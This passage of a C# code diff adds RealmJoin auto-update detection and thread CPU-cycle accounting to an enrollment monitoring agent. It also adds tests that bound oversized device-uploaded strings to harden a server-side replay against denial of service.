AttachUninstallWatcher();
return;
}
ArmAppearanceParentWatcher(
role: "uninstall",
hive: RegistryHive.LocalMachine,
parentPath: RealmJoinInfo.UninstallRootPath,
targetSubKeyName: RealmJoinInfo.UninstallRealmJoinKeyName,
targetFullPath: RealmJoinInfo.UninstallRealmJoinPath,
slot: w => { lock (_stateLock) { _uninstallAppearanceWatcher = w; } },
clearSlot: () => { lock (_stateLock) { _uninstallAppearanceWatcher = null; } },
onAppeared: AttachUninstallWatcher);
}
private void AttachUninstallWatcher()
{
lock (_stateLock)
{
if (_disposed || _uninstallWatcher != null) return;
try
{
_uninstallDebounce = new Timer(_ => CheckAutoUpdate(), null, Timeout.Infinite, Timeout.Infinite);
_uninstallWatcher = new RegistryWatcher(
RegistryHive.LocalMachine,
RealmJoinInfo.UninstallRealmJoinPath,
watchSubtree: false,
view: RegistryView.Registry64,
filter: RegistryNativeMethods.RegChangeNotifyFilter.LastSet,
trace: msg => _logger.Trace($"RealmJoinWatcher(uninstall): {msg}"));
_uninstallWatcher.Changed += (s, e) => _uninstallDebounce?.Change(AutoUpdateDebounceMilliseconds, Timeout.Infinite);
_uninstallWatcher.Error += (s, ex) => _logger.Warning($"RealmJoinWatcher(uninstall): {ex.Message}");
_uninstallWatcher.Start();
_logger.Info("RealmJoinWatcher: attached auto-update watcher on Uninstall\\RealmJoin");
}
catch (Exception ex)
{
_logger.Warning($"RealmJoinWatcher: failed to attach Uninstall\\RealmJoin watcher: {ex.Message}");
}
}
// The key may already carry a newer version than the Detected read (update raced
// the appearance), so sweep once on attach — same as the other stages.
CheckAutoUpdate();
}
/// <summary>
/// Re-read the installed RJ version and fire <see cref="RealmJoinAutoUpdateDetected"/>
/// when it differs from the baseline. Primary source is the binary's file-version
/// resource (carries the channel); the Uninstall key's <c>DisplayVersion</c> is the
/// fallback while the updater still holds the file. Unreadable ⇒ no event, baseline kept.
/// </summary>
private void CheckAutoUpdate()
{
try
{
var info = _readVersionInfo();
var newVersion = info.ProductVersion;
var newChannel = info.ReleaseChannel;
if (string.IsNullOrEmpty(newVersion))
{
newVersion = _readUninstallDisplayVersion();
newChannel = null;
if (string.IsNullOrEmpty(newVersion)) return;
}
string? previousVersion;
string? channelForEvent;
lock (_stateLock)
{
previousVersion = _baselineVersion;
if (previousVersion == null)
{
// Detected could not read the binary — seed silently, nothing to compare.
_baselineVersion = newVersion;
_baselineChannel = newChannel;
return;
}
if (string.Equals(previousVersion, newVersion, StringComparison.OrdinalIgnoreCase)) return;
channelForEvent = newChannel ?? _baselineChannel;
_baselineVersion = newVersion;
_baselineChannel = channelForEvent;
}
_logger.Info($"RealmJoinWatcher: RJ auto-update detected ({previousVersion} -> {newVersion}, releaseChannel={channelForEvent ?? "<unknown>"})");
try { RealmJoinAutoUpdateDetected?.Invoke(this, new RealmJoinAutoUpdateDetectedEventArgs(previousVersion, newVersion!, channelForEvent)); }
catch (Exception ex) { _logger.Error("RealmJoinWatcher: RealmJoinAutoUpdateDetected handler threw", ex); }
}
catch (Exception ex)
{
_logger.Warning($"RealmJoinWatcher: CheckAutoUpdate threw: {ex.Message}");
}
}
private void CheckMachinePackages()
{
CheckPackages(
@@ -766,6 +932,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
MaybeFirePackageEvents(RealmJoinPackageScope.User, snap, _hkuPackagesStarted, _hkuPackagesCompleted);
internal void TriggerNotifyRealmJoinPresenceFromTest(int? phase) => NotifyRealmJoinPresence(phase);
internal void TriggerCheckAutoUpdateFromTest() => CheckAutoUpdate();
internal string? BaselineVersionForTest { get { lock (_stateLock) { return _baselineVersion; } } }
// Test seam — directly seed the dedup sets without touching the registry, so that a
// subsequent MaybeFirePackageEvents observation can verify suppression behavior.
@@ -0,0 +1,58 @@
using System;
using System.Runtime.InteropServices;
namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Interop
{
/// <summary>
/// Win32 P/Invoke for per-thread CPU accounting. Used by ImeLogTracker to charge the
/// per-line match budget with cycles the matching thread actually executed instead of
/// wall-clock time: on a CPU-saturated guest the wall clock keeps running while the
/// thread is descheduled, so a wall-based budget measures the scheduler, not the regex
/// (sessions 946ccbd6 / b9f1d134, 2026-08-30).
/// </summary>
internal static class ThreadNativeMethods
{
// Pseudo handle (-2): always refers to the calling thread, never needs closing.
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentThread();
// Cycles the thread has executed, accumulated by the kernel at context switches.
// Excludes time the thread spent descheduled by the GUEST scheduler; hypervisor-level
// vCPU preemption is invisible to the guest kernel and still gets charged — the
// measurement is a strict improvement over wall clock, not perfect steal accounting.
[DllImport("kernel32.dll")]
private static extern bool QueryThreadCycleTime(IntPtr threadHandle, out ulong cycleTime);
/// <summary>
/// Cycle count of the calling thread, or 0 if the call fails. A 0 makes the caller's
/// delta accounting charge nothing for the enclosed work — the safe direction (no
/// spurious skips); persistent unavailability is ruled out by <see cref="Probe"/>.
/// </summary>
public static long GetCurrentThreadCycles()
{
try
{
ulong cycles;
return QueryThreadCycleTime(GetCurrentThread(), out cycles) ? unchecked((long)cycles) : 0L;
}
catch (Exception)
{
return 0L;
}
}
/// <summary>One-shot availability check (missing export, denied call).</summary>
public static bool Probe()
{
try
{
ulong cycles;
return QueryThreadCycleTime(GetCurrentThread(), out cycles);
}
catch (Exception)
{
return false;
}
}
}
}
@@ -201,6 +201,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Periodic
data["ime_entries_matched"] = health.EntriesMatched;
data["ime_oversized_lines"] = health.OversizedLines;
data["ime_regex_timeouts"] = health.RegexTimeouts;
data["ime_regex_timeout_retries"] = health.RegexTimeoutRetries;
data["ime_line_budget_breaks"] = health.BudgetBreaks;
data["ime_held_tails"] = health.HeldTails;
data["ime_unanchored_patterns"] = health.UnanchoredPatterns;
@@ -322,6 +322,7 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
["file"] = fileName ?? string.Empty,
["oversizedLines"] = health.OversizedLines,
["regexTimeouts"] = health.RegexTimeouts,
["regexTimeoutRetries"] = health.RegexTimeoutRetries,
["lineBudgetBreaks"] = health.BudgetBreaks,
["heldTails"] = health.HeldTails,
["linesRead"] = health.LinesRead,
@@ -21,6 +21,7 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
{
private const string SourceLabel = "RealmJoinWatcher";
private const string RegistryKeyHint = @"HKLM\SYSTEM\CurrentControlSet\Services\realmjoin\Parameters";
private const string UninstallRegistryKeyHint = @"HKLM\" + RealmJoinInfo.UninstallRealmJoinPath;
private readonly RealmJoinWatcher _watcher;
private readonly ISignalIngressSink _ingress;
@@ -39,6 +40,7 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
_watcher.RealmJoinPhaseChanged += OnPhaseChanged;
_watcher.RealmJoinPackageStarted += OnPackageStarted;
_watcher.RealmJoinPackageCompleted += OnPackageCompleted;
_watcher.RealmJoinAutoUpdateDetected += OnAutoUpdateDetected;
}
public void Dispose()
@@ -48,6 +50,7 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
_watcher.RealmJoinPhaseChanged -= OnPhaseChanged;
_watcher.RealmJoinPackageStarted -= OnPackageStarted;
_watcher.RealmJoinPackageCompleted -= OnPackageCompleted;
_watcher.RealmJoinAutoUpdateDetected -= OnAutoUpdateDetected;
}
// Test seams
@@ -57,6 +60,8 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
internal void TriggerPhaseChangedFromTest(int prev, int curr) => OnPhaseChanged(this, new RealmJoinPhaseChangedEventArgs(prev, curr));
internal void TriggerPackageStartedFromTest(string scope, RealmJoinPackageSnapshot snap) => OnPackageStarted(this, new RealmJoinPackageEventArgs(scope, snap));
internal void TriggerPackageCompletedFromTest(string scope, RealmJoinPackageSnapshot snap) => OnPackageCompleted(this, new RealmJoinPackageEventArgs(scope, snap));
internal void TriggerAutoUpdateDetectedFromTest(string previousVersion, string newVersion, string? releaseChannel) =>
OnAutoUpdateDetected(this, new RealmJoinAutoUpdateDetectedEventArgs(previousVersion, newVersion, releaseChannel));
private void OnDetected(object? sender, RealmJoinDetectedEventArgs e)
{
@@ -177,6 +182,56 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
occurredAtUtc: _clock.UtcNow);
}
private void OnAutoUpdateDetected(object? sender, RealmJoinAutoUpdateDetectedEventArgs e)
{
// Dual-emission: (1) the typed signal overrides the persisted version facts so
// final-status / replay carry the build that ran the deployment; (2) the timeline
// entry makes the self-update visible next to realmjoin_detected.
var payload = new Dictionary<string, string>(StringComparer.Ordinal)
{
[DecisionEngine.RealmJoinPayloadKeys.PreviousVersion] = e.PreviousVersion,
[DecisionEngine.RealmJoinPayloadKeys.ProductVersion] = e.NewVersion,
};
if (!string.IsNullOrEmpty(e.ReleaseChannel))
{
payload[DecisionEngine.RealmJoinPayloadKeys.ReleaseChannel] = e.ReleaseChannel!;
}
_ingress.Post(
kind: DecisionSignalKind.RealmJoinAutoUpdateDetected,
occurredAtUtc: _clock.UtcNow,
sourceOrigin: SourceLabel,
evidence: new Evidence(
kind: EvidenceKind.Derived,
identifier: "realmjoin-autoupdate-detected-v1",
summary: $"RealmJoin self-update observed ({e.PreviousVersion} -> {e.NewVersion}, releaseChannel={e.ReleaseChannel ?? "<unknown>"})",
derivationInputs: new Dictionary<string, string>(StringComparer.Ordinal)
{
["registryKey"] = UninstallRegistryKeyHint,
}),
payload: payload);
var data = new Dictionary<string, string>(StringComparer.Ordinal)
{
["previousVersion"] = e.PreviousVersion,
["newVersion"] = e.NewVersion,
["registryKey"] = UninstallRegistryKeyHint,
};
if (!string.IsNullOrEmpty(e.ReleaseChannel))
{
data["releaseChannel"] = e.ReleaseChannel!;
}
var channelTail = string.IsNullOrEmpty(e.ReleaseChannel) ? string.Empty : $", channel={e.ReleaseChannel}";
_post.Emit(
eventType: SharedConstants.EventTypes.RealmJoinAutoUpdateDetected,
source: SourceLabel,
message: $"RealmJoin auto-updated {e.PreviousVersion} -> {e.NewVersion}{channelTail}",
severity: EventSeverity.Info,
immediateUpload: true,
data: data,
occurredAtUtc: _clock.UtcNow);
}
private void OnPackageStarted(object? sender, RealmJoinPackageEventArgs e)
{
var displayName = TruncateDisplayName(e.DisplayName);
@@ -236,24 +291,21 @@ namespace AutopilotMonitor.Agent.V2.Core.SignalAdapters
{
var payload = new Dictionary<string, string>(StringComparer.Ordinal)
{
[DecisionEngine.RealmJoinPayloadKeys.PackageId] = e.PackageId ?? string.Empty,
// Same bound the reducer applies (FactStringBounds) — keeps the signal itself,
// and therefore every upload carrying it, bounded at the source.
[DecisionEngine.RealmJoinPayloadKeys.PackageId] = FactStringBounds.Bound(e.PackageId) ?? string.Empty,
[DecisionEngine.RealmJoinPayloadKeys.DisplayName] = displayName,
[DecisionEngine.RealmJoinPayloadKeys.Scope] = e.Scope ?? RealmJoinPackageFact.ScopeMachine,
};
if (!string.IsNullOrEmpty(e.Version))
{
payload[DecisionEngine.RealmJoinPayloadKeys.Version] = e.Version!;
payload[DecisionEngine.RealmJoinPayloadKeys.Version] = FactStringBounds.Bound(e.Version)!;
}
return payload;
}
private static string TruncateDisplayName(string? value)
{
if (string.IsNullOrEmpty(value)) return string.Empty;
return value!.Length <= RealmJoinPackageFact.MaxDisplayNameLength
? value
: value.Substring(0, RealmJoinPackageFact.MaxDisplayNameLength);
}
private static string TruncateDisplayName(string? value) =>
FactStringBounds.Bound(value) ?? string.Empty;
private static Evidence BuildEvidence(string identifier, string summary) =>
new Evidence(
@@ -544,7 +544,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Termination
/// <summary>
/// Emits <c>ime_pattern_hits</c>: per-pattern match counts for every enabled IME log
/// pattern (zeros included — "active but never matched" IS the drift signal) plus the
/// tracker's cumulative health counters. Best-effort like the app summary.
/// tracker's cumulative health counters. Best-effort like the app summary. Debug
/// severity: it is an operator/backend signal, not something a tenant admin acts on —
/// the default timeline hides it, the session page's IME Tracker card and the backend
/// fold still read it.
/// </summary>
private void EmitImePatternHits()
{
@@ -576,6 +579,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Termination
["entriesMatched"] = health.EntriesMatched,
["oversizedLines"] = health.OversizedLines,
["regexTimeouts"] = health.RegexTimeouts,
["regexTimeoutRetries"] = health.RegexTimeoutRetries,
["lineBudgetBreaks"] = health.BudgetBreaks,
["heldTails"] = health.HeldTails,
["unanchoredPatterns"] = health.UnanchoredPatterns,
@@ -590,7 +594,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Termination
SessionId = _configuration.SessionId,
TenantId = _configuration.TenantId,
EventType = Constants.EventTypes.ImePatternHits,
Severity = EventSeverity.Info,
Severity = EventSeverity.Debug,
Source = "EnrollmentTerminationHandler",
Phase = EnrollmentPhase.Unknown,
Message = $"IME pattern hits: {matchedPatterns}/{health.PatternHits.Count} patterns matched, {health.EntriesMatched} matches over {health.LinesRead} lines" +
@@ -837,5 +837,73 @@ namespace AutopilotMonitor.DecisionCore.Tests
Assert.True(data.ContainsKey("realmjoinDetectedUtc"));
Assert.True(data.ContainsKey("realmjoinResolvedUtc"));
}
[Fact]
public void RealmJoinAutoUpdateDetected_overrides_version_facts_without_touching_gate_or_deadline()
{
var engine = new DecisionEngine();
var state = PrimeClassicAwaitingDesktop(engine);
var detected = engine.Reduce(state, MakeSignal(5, DecisionSignalKind.RealmJoinDetected, T0.AddMinutes(5),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.DeploymentPhase] = "0",
[DecisionEngine.RealmJoinPayloadKeys.ProductVersion] = "4.21.4",
[DecisionEngine.RealmJoinPayloadKeys.ReleaseChannel] = "canary",
}));
var deadlineBefore = Assert.Single(detected.NewState.Deadlines, d => d.Name == DeadlineNames.RealmJoinTimeout);
// Channel omitted (registry DisplayVersion fallback) — the Detected channel must survive.
var updated = engine.Reduce(detected.NewState, MakeSignal(6, DecisionSignalKind.RealmJoinAutoUpdateDetected, T0.AddMinutes(14),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.PreviousVersion] = "4.21.4",
[DecisionEngine.RealmJoinPayloadKeys.ProductVersion] = "4.21.18",
}));
Assert.Null(updated.Transition.DeadEndReason);
Assert.Equal("4.21.18", updated.NewState.RealmJoinFacts.ProductVersion!.Value);
Assert.Equal("canary", updated.NewState.RealmJoinFacts.ReleaseChannel!.Value);
Assert.Equal(detected.NewState.Stage, updated.NewState.Stage);
Assert.False(DecisionEngine.RealmJoinGateOpen(updated.NewState));
var deadlineAfter = Assert.Single(updated.NewState.Deadlines, d => d.Name == DeadlineNames.RealmJoinTimeout);
Assert.Equal(deadlineBefore.DueAtUtc, deadlineAfter.DueAtUtc);
Assert.Null(updated.NewState.RealmJoinFacts.LastActivityUtc);
Assert.Empty(updated.Effects);
// Channel supplied — overrides too.
var again = engine.Reduce(updated.NewState, MakeSignal(7, DecisionSignalKind.RealmJoinAutoUpdateDetected, T0.AddMinutes(15),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.PreviousVersion] = "4.21.18",
[DecisionEngine.RealmJoinPayloadKeys.ProductVersion] = "4.22.0",
[DecisionEngine.RealmJoinPayloadKeys.ReleaseChannel] = "release",
}));
Assert.Equal("4.22.0", again.NewState.RealmJoinFacts.ProductVersion!.Value);
Assert.Equal("release", again.NewState.RealmJoinFacts.ReleaseChannel!.Value);
}
[Fact]
public void RealmJoinAutoUpdateDetected_without_version_dead_ends_and_keeps_facts()
{
var engine = new DecisionEngine();
var state = PrimeClassicAwaitingDesktop(engine);
var detected = engine.Reduce(state, MakeSignal(5, DecisionSignalKind.RealmJoinDetected, T0.AddMinutes(5),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.DeploymentPhase] = "0",
[DecisionEngine.RealmJoinPayloadKeys.ProductVersion] = "4.21.4",
}));
var step = engine.Reduce(detected.NewState, MakeSignal(6, DecisionSignalKind.RealmJoinAutoUpdateDetected, T0.AddMinutes(14),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.PreviousVersion] = "4.21.4",
}));
Assert.Equal("realmjoin_autoupdate_missing_version", step.Transition.DeadEndReason);
Assert.Equal("4.21.4", step.NewState.RealmJoinFacts.ProductVersion!.Value);
}
}
}
@@ -0,0 +1,219 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using AutopilotMonitor.DecisionCore.Engine;
using AutopilotMonitor.DecisionCore.Signals;
using AutopilotMonitor.DecisionCore.State;
using AutopilotMonitor.Shared.Models;
using Xunit;
namespace AutopilotMonitor.DecisionCore.Tests.State
{
/// <summary>
/// Every payload-derived string that lands in <see cref="DecisionState"/> is bounded by
/// <see cref="FactStringBounds"/> at the reducer boundary. The server-side semantic replay
/// (<c>ReducerVerifier</c>) folds device-uploaded payloads through the same engine, so an
/// unbounded string there is a per-request memory/CPU amplifier. These tests pin that the
/// bound is applied BEFORE any dedupe comparison (so a forged multi-hundred-KB key neither
/// costs a full-length compare nor lands in state) and that real-sized values pass through
/// unchanged.
/// </summary>
public sealed class FactStringBoundsTests
{
private static readonly DateTime T0 = new DateTime(2026, 8, 30, 10, 0, 0, DateTimeKind.Utc);
private static string Long(char fill, int length, char last)
=> new string(fill, length - 1) + last;
private static DecisionSignal MakeSignal(
long ordinal,
DecisionSignalKind kind,
DateTime occurredAtUtc,
IReadOnlyDictionary<string, string>? payload = null)
{
return new DecisionSignal(
sessionSignalOrdinal: ordinal,
sessionTraceOrdinal: ordinal,
kind: kind,
kindSchemaVersion: 1,
occurredAtUtc: occurredAtUtc,
sourceOrigin: "test",
evidence: new Evidence(EvidenceKind.Synthetic, $"t-{kind}-{ordinal}", $"synthetic {kind}"),
payload: payload);
}
// ---------------------------------------------------------------- helper
[Theory]
[InlineData(null, null)]
[InlineData("", "")]
[InlineData("generic-vlc", "generic-vlc")]
public void Bound_passes_null_and_short_values_through(string? input, string? expected)
{
Assert.Equal(expected, FactStringBounds.Bound(input));
}
[Fact]
public void Bound_truncates_to_MaxLength()
{
var bounded = FactStringBounds.Bound(new string('x', FactStringBounds.MaxLength + 1))!;
Assert.Equal(FactStringBounds.MaxLength, bounded.Length);
Assert.Equal(FactStringBounds.MaxLength, RealmJoinPackageFact.MaxDisplayNameLength);
}
// ---------------------------------------------------------------- RealmJoinFacts
[Fact]
public void RealmJoin_package_keys_are_bounded_before_dedupe_so_forged_near_duplicates_collapse()
{
// Two ~300 KB ids that differ only in the final character — the exploit shape.
// After bounding both become the same 256-char key: one row, second start ignored.
var idA = Long('a', 300_000, '1');
var idB = Long('a', 300_000, '2');
var facts = RealmJoinFacts.Empty
.WithPackageStarted(idA, "A", Long('v', 5000, '1'), RealmJoinPackageFact.ScopeMachine, T0)
.WithPackageStarted(idB, "B", null, RealmJoinPackageFact.ScopeMachine, T0.AddSeconds(1));
var row = Assert.Single(facts.Packages);
Assert.Equal(FactStringBounds.MaxLength, row.PackageId.Length);
Assert.Equal(FactStringBounds.MaxLength, row.Version!.Length);
Assert.Equal("A", row.DisplayName);
}
[Fact]
public void RealmJoin_package_completed_matches_started_row_through_the_bound()
{
var id = Long('b', 100_000, 'x');
var facts = RealmJoinFacts.Empty
.WithPackageStarted(id, "B", "1.0", RealmJoinPackageFact.ScopeUser, T0)
.WithPackageCompleted(id, "B", "1.0", RealmJoinPackageFact.ScopeUser, T0.AddMinutes(1), success: true, lastExitCode: 0);
var row = Assert.Single(facts.Packages);
Assert.True(row.Success);
Assert.NotNull(row.CompletedUtc);
Assert.Equal(RealmJoinPackageFact.ScopeUser, row.Scope);
}
[Theory]
[InlineData(null)]
[InlineData("")]
[InlineData("MACHINE")]
[InlineData("forged-scope-value")]
public void RealmJoin_scope_is_normalised_to_the_two_known_constants(string? scope)
{
var facts = RealmJoinFacts.Empty.WithPackageStarted("generic-vlc", "VLC", null, scope!, T0);
Assert.Equal(RealmJoinPackageFact.ScopeMachine, Assert.Single(facts.Packages).Scope);
Assert.Equal(RealmJoinPackageFact.ScopeUser, RealmJoinPackageFact.NormalizeScope("user"));
}
[Fact]
public void RealmJoin_real_sized_values_are_stored_verbatim()
{
var facts = RealmJoinFacts.Empty.WithPackageStarted("generic-vlc", "VLC media player", "3.0.21.0", RealmJoinPackageFact.ScopeMachine, T0);
var row = Assert.Single(facts.Packages);
Assert.Equal("generic-vlc", row.PackageId);
Assert.Equal("3.0.21.0", row.Version);
Assert.Equal("VLC media player", row.DisplayName);
}
[Fact]
public void RealmJoin_replay_of_forged_package_stream_stays_cheap()
{
// 300 distinct ~200 KB ids against a full 200-row list. Unbounded, this was
// ~300 × 200 × 200 KB byte compares (tens of seconds); bounded it is microseconds.
// Generous ceiling — a regression is minutes, not milliseconds.
var engine = new DecisionEngine();
var state = DecisionState.CreateInitial("bounds-sess", "bounds-tenant", T0);
state = engine.Reduce(state, MakeSignal(0, DecisionSignalKind.SessionStarted, T0)).NewState;
var sw = Stopwatch.StartNew();
for (var i = 1; i <= 300; i++)
{
var id = new string('p', 200_000 - 8) + i.ToString("D8");
state = engine.Reduce(state, MakeSignal(i, DecisionSignalKind.RealmJoinPackageStarted, T0.AddSeconds(i),
new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.PackageId] = id,
[DecisionEngine.RealmJoinPayloadKeys.Scope] = RealmJoinPackageFact.ScopeMachine,
})).NewState;
}
sw.Stop();
// All 300 ids share their first 256 chars → they collapse to a single bounded row.
var row = Assert.Single(state.RealmJoinFacts.Packages);
Assert.Equal(FactStringBounds.MaxLength, row.PackageId.Length);
Assert.True(sw.Elapsed < TimeSpan.FromSeconds(5), $"replay took {sw.Elapsed}");
}
[Fact]
public void RealmJoin_version_override_is_bounded()
{
var facts = RealmJoinFacts.Empty.WithVersionOverride(Long('v', 10_000, 'x'), Long('c', 10_000, 'y'), 7);
Assert.Equal(FactStringBounds.MaxLength, facts.ProductVersion!.Value.Length);
Assert.Equal(FactStringBounds.MaxLength, facts.ReleaseChannel!.Value.Length);
}
// ---------------------------------------------------------------- AppInstallFacts
[Fact]
public void AppInstall_failed_app_ids_are_bounded_before_dedupe()
{
var facts = AppInstallFacts.Empty
.WithFailed(Long('a', 50_000, '1'))
.WithFailed(Long('a', 50_000, '2'))
.WithFailed("real-app-guid");
Assert.Equal(3, facts.FailedCount);
Assert.Equal(2, facts.FailedAppIds.Count);
Assert.Equal(FactStringBounds.MaxLength, facts.FailedAppIds[0].Length);
Assert.Equal("real-app-guid", facts.FailedAppIds[1]);
}
// ---------------------------------------------------------------- scalar facts
[Fact]
public void EspAdvisoryFailureCategory_is_bounded()
{
var builder = DecisionState.CreateInitial("s", "t", T0).ToBuilder()
.WithEspAdvisoryFailureRecorded(T0, 1, Long('c', 10_000, 'x'));
Assert.Equal(FactStringBounds.MaxLength, builder.EspAdvisoryFailureCategory!.Value.Length);
}
[Fact]
public void HelloOutcome_from_payload_is_bounded_by_the_engine()
{
var engine = new DecisionEngine();
var state = DecisionState.CreateInitial("hello-sess", "t", T0);
state = engine.Reduce(state, MakeSignal(0, DecisionSignalKind.SessionStarted, T0)).NewState;
state = engine.Reduce(state, MakeSignal(1, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(1),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "DeviceSetup" })).NewState;
state = engine.Reduce(state, MakeSignal(2, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(2),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "AccountSetup" })).NewState;
state = engine.Reduce(state, MakeSignal(3, DecisionSignalKind.EspExiting, T0.AddMinutes(3))).NewState;
state = engine.Reduce(state, MakeSignal(4, DecisionSignalKind.HelloResolved, T0.AddMinutes(4),
new Dictionary<string, string> { [SignalPayloadKeys.HelloOutcome] = Long('h', 100_000, 'x') })).NewState;
Assert.NotNull(state.HelloOutcome);
Assert.Equal(FactStringBounds.MaxLength, state.HelloOutcome!.Value.Length);
}
[Fact]
public void ImeMatchedPatternId_from_payload_is_bounded_by_the_engine()
{
var engine = new DecisionEngine();
var state = DecisionState.CreateInitial("ime-sess", "t", T0);
state = engine.Reduce(state, MakeSignal(0, DecisionSignalKind.SessionStarted, T0)).NewState;
state = engine.Reduce(state, MakeSignal(10, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(1),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "DeviceSetup" })).NewState;
state = engine.Reduce(state, MakeSignal(15, DecisionSignalKind.EspExiting, T0.AddMinutes(16.5))).NewState;
state = engine.Reduce(state, MakeSignal(20, DecisionSignalKind.EspPhaseChanged, T0.AddMinutes(17),
new Dictionary<string, string> { [SignalPayloadKeys.EspPhase] = "AccountSetup" })).NewState;
state = engine.Reduce(state, MakeSignal(40, DecisionSignalKind.ImeUserSessionCompleted, T0.AddMinutes(27),
new Dictionary<string, string> { [SignalPayloadKeys.ImePatternId] = Long('i', 100_000, 'x') })).NewState;
Assert.NotNull(state.ImeMatchedPatternId);
Assert.Equal(FactStringBounds.MaxLength, state.ImeMatchedPatternId!.Value.Length);
}
}
}
@@ -0,0 +1,184 @@
using System.Diagnostics;
using AutopilotMonitor.DecisionCore.Engine;
using AutopilotMonitor.DecisionCore.Serialization;
using AutopilotMonitor.DecisionCore.Signals;
using AutopilotMonitor.DecisionCore.State;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// DoS hardening of the reducer-verification replay: device-uploaded signal payloads are
/// attacker-shaped (chunk-stored up to ~1 MB each, 5000 per request). The verifier must
/// (a) decode-fold-discard so peak memory is one signal, not the whole stream, and
/// (b) finish in seconds on a forged RealmJoin package stream because
/// <see cref="FactStringBounds"/> bounds the dedupe keys inside the engine. The
/// signal/transition count-imbalance semantics of the pre-streaming implementation are pinned
/// here as well because the streaming rewrite changed how that count is produced.
/// </summary>
public class ReducerVerifierBoundedReplayTests
{
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
private const string SessionId = "b2c3d4e5-f6a7-8901-bcde-f12345678901";
private static readonly DateTime T0 = new(2026, 8, 30, 10, 0, 0, DateTimeKind.Utc);
private static string CurrentReducerVersion { get; } = new DecisionEngine().ReducerVersion;
private static DecisionSignal MakeSignal(long ordinal, DecisionSignalKind kind, IReadOnlyDictionary<string, string>? payload = null) =>
new(
sessionSignalOrdinal: ordinal,
sessionTraceOrdinal: ordinal,
kind: kind,
kindSchemaVersion: 1,
occurredAtUtc: T0.AddSeconds(ordinal),
sourceOrigin: "replay-test",
evidence: new Evidence(EvidenceKind.Synthetic, $"replay:ord-{ordinal}", "test"),
payload: payload);
/// <summary>Fold <paramref name="sigs"/> through the live reducer and materialise the stored shapes.</summary>
private static (SignalRecord[] signals, DecisionTransitionRecord[] transitions) Materialise(IReadOnlyList<DecisionSignal> sigs)
{
var engine = new DecisionEngine();
var state = DecisionState.CreateInitial(SessionId, TenantId);
var transitions = new DecisionTransitionRecord[sigs.Count];
var signals = new SignalRecord[sigs.Count];
for (var i = 0; i < sigs.Count; i++)
{
var step = engine.Reduce(state, sigs[i]);
state = step.NewState;
var t = step.Transition;
transitions[i] = new DecisionTransitionRecord
{
TenantId = TenantId,
SessionId = SessionId,
StepIndex = t.StepIndex,
SessionTraceOrdinal = t.SessionTraceOrdinal,
SignalOrdinalRef = t.SignalOrdinalRef,
OccurredAtUtc = t.OccurredAtUtc,
Trigger = t.Trigger,
FromStage = t.FromStage.ToString(),
ToStage = t.ToStage.ToString(),
Taken = t.Taken,
DeadEndReason = t.DeadEndReason,
ReducerVersion = t.ReducerVersion,
PayloadJson = TransitionSerializer.Serialize(t),
};
signals[i] = new SignalRecord
{
TenantId = TenantId,
SessionId = SessionId,
SessionSignalOrdinal = sigs[i].SessionSignalOrdinal,
SessionTraceOrdinal = sigs[i].SessionTraceOrdinal,
Kind = sigs[i].Kind.ToString(),
KindSchemaVersion = sigs[i].KindSchemaVersion,
OccurredAtUtc = sigs[i].OccurredAtUtc,
SourceOrigin = sigs[i].SourceOrigin,
PayloadJson = SignalSerializer.Serialize(sigs[i]),
};
}
return (signals, transitions);
}
[Fact]
public void Forged_realmjoin_package_stream_replays_in_bounded_time_with_zero_divergence()
{
// Exploit shape: many equal-length package ids sharing all but the trailing digits.
// Bounded to 256 chars inside the engine they collapse to a single package row, so the
// per-signal dedupe scan compares one short key instead of 200 × 200 KB.
const int packageSignals = 250;
const int idLength = 200_000;
var sigs = new List<DecisionSignal>(packageSignals + 2)
{
MakeSignal(0, DecisionSignalKind.SessionStarted),
MakeSignal(1, DecisionSignalKind.RealmJoinDetected,
new Dictionary<string, string> { [DecisionEngine.RealmJoinPayloadKeys.DeploymentPhase] = "100" }),
};
for (var i = 0; i < packageSignals; i++)
{
sigs.Add(MakeSignal(2 + i, DecisionSignalKind.RealmJoinPackageStarted, new Dictionary<string, string>
{
[DecisionEngine.RealmJoinPayloadKeys.PackageId] = new string('p', idLength - 8) + i.ToString("D8"),
[DecisionEngine.RealmJoinPayloadKeys.Scope] = RealmJoinPackageFact.ScopeMachine,
}));
}
var (signals, transitions) = Materialise(sigs);
Assert.All(signals.Skip(2), s => Assert.True(s.PayloadJson.Length > idLength));
var sw = Stopwatch.StartNew();
var report = ReducerVerifier.Verify(TenantId, SessionId, signals, transitions, CurrentReducerVersion);
sw.Stop();
Assert.True(report.SemanticReplayPerformed);
Assert.Equal(0, report.TransitionDivergenceCount);
Assert.DoesNotContain(report.Issues, i => i.Kind == "replay_divergence");
// Deserialising 250 × 200 KB JSON blobs is the dominant (linear) cost here; the
// pre-fix quadratic scan alone was tens of seconds for this shape.
